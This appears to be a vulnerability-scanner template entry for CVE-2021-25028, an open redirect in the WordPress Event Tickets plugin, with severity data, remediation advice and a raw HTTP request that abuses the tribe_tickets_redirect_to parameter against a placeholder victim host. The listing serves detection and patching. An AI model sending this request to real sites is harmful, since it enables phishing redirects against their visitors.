| Title | WordPress Event Tickets < 5.2.2 - Open Redirect |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Attackers can redirect users to malicious websites through the tribe_tickets_redirect_to parameter, potentially facilitating phishing attacks or malware distribution. |
| Remediation | Update to the latest version of the WordPress Event Tickets plugin (5.2.2 or higher) to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04398 |
| CVE ID | CVE-2021-25028 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve wordpress redirect wp-plugin eventtickets wpscan tri vuln |
WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.
GET /wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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